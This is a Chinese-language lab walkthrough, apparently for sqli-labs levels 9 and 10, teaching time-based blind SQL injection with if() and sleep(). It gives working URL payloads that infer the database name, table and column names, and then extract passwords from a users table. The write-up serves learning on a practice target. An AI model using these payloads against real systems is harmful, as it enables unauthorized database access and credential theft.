第九关
在第九关中,我们发现(无论注入什么都只会回显一种界面,页面不会返回错误信息),这时我们可以根据这种情况使用时间盲注,在注入过程中,if()函数和sleep()函数是很重要的,我在这里简要介绍一下他们用法
if()函数
if(a,b,c),如果a的值为true,则返回b的值,如果a的值为false,则返回c的值
注意:这里的a在sql注入中为一个判断语句
sleep(N)函数
即如果写入到数据库被执行了,sleep(N)可以让此语句运行N秒钟
(通过执行时间来判断是否被执行,但是可能会因网速等问题参数误差)
此时,这两个函数就可以进行关联,示例如下:
?id=1' and if(length(database())>8,sleep(3),0)--+
这里可以解释为当我们进行数据库名的长度判断时,如果条件成立,sleep函数延迟3秒后回显界面,如果条件不成立,就输出0 -----提示一下,如果大家网络有延迟的话,将sleep()函数里面的值设置为大一点,5啊10啊都ok的
ok,介绍到这结束啦,开始进行第九关的注入
判断数据库长度
?id=1' and if(length(database())>8,sleep(5),0)--+
当条件成立时,延迟5秒后才回显界面,这里的7改为8,从而可以判断数据库长度名为8位
接着判断数据库名
?id=1' and if(ascii(substr((select database()),1,1))=115,sleep(5),0)--+
这里的判断语句跟布尔盲注基本是一样的,所以大家不懂得话可以先学一下布尔盲注,这里获得的是库名的第一个字符,其他字符只需要更改substr()函数的值就ok了-------可以的到数据库名为security
判断所有表名长度
?id=1' and if(length((select group_concat(table_name) from information_schema.tables where table_schema='security'))>20,sleep(5),0)--+
判断表名------这里有两种用法可以获得
用法一:这是获得所有的表名,这里用到group_concat()函数用于获取所有表名
?id=1' and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,1))>99,sleep(5),0)--+
用法二:这是分别获得表名,这里用到limit x,y
其中x代表第x+1个表,y表示第x+1往后y个单位的表
?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>99,sleep(5),0)--+
判断所有字段长度
?id=1' and if(length((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'))>10,sleep(5),0)--+
判断字段名----这里同样有两种方式获得,方法同获得表名一致
用法一:获得所有字段名:
?id=1' and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),1,1))>99,sleep(5),0)--+
用法二:分别获得字段名
?id=1' and if(ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))>99,sleep(5),0)--+
哈哈,到这里也差不多over啦,继续加油
获得数据---------这里同样也有两种用法
用法一:分别获得数据
?id=1' and if(ascii(substr((select password from users limit 0,1),1,1))>65,sleep(5),0)--+
用法二:获得所有数据
?id=1' and if(ascii(substr((select group_concat(password) from users),1,1))>65,sleep(5),0)--+
ok啦,大功告成,我在这里并没有把所有测试代码写出来,大家要认真看噢
第十关
第十关中和第九关是一样的,只是参数注入类型变成了【"】
大家改成?id=1" 就ok啦,注入方式都是一样的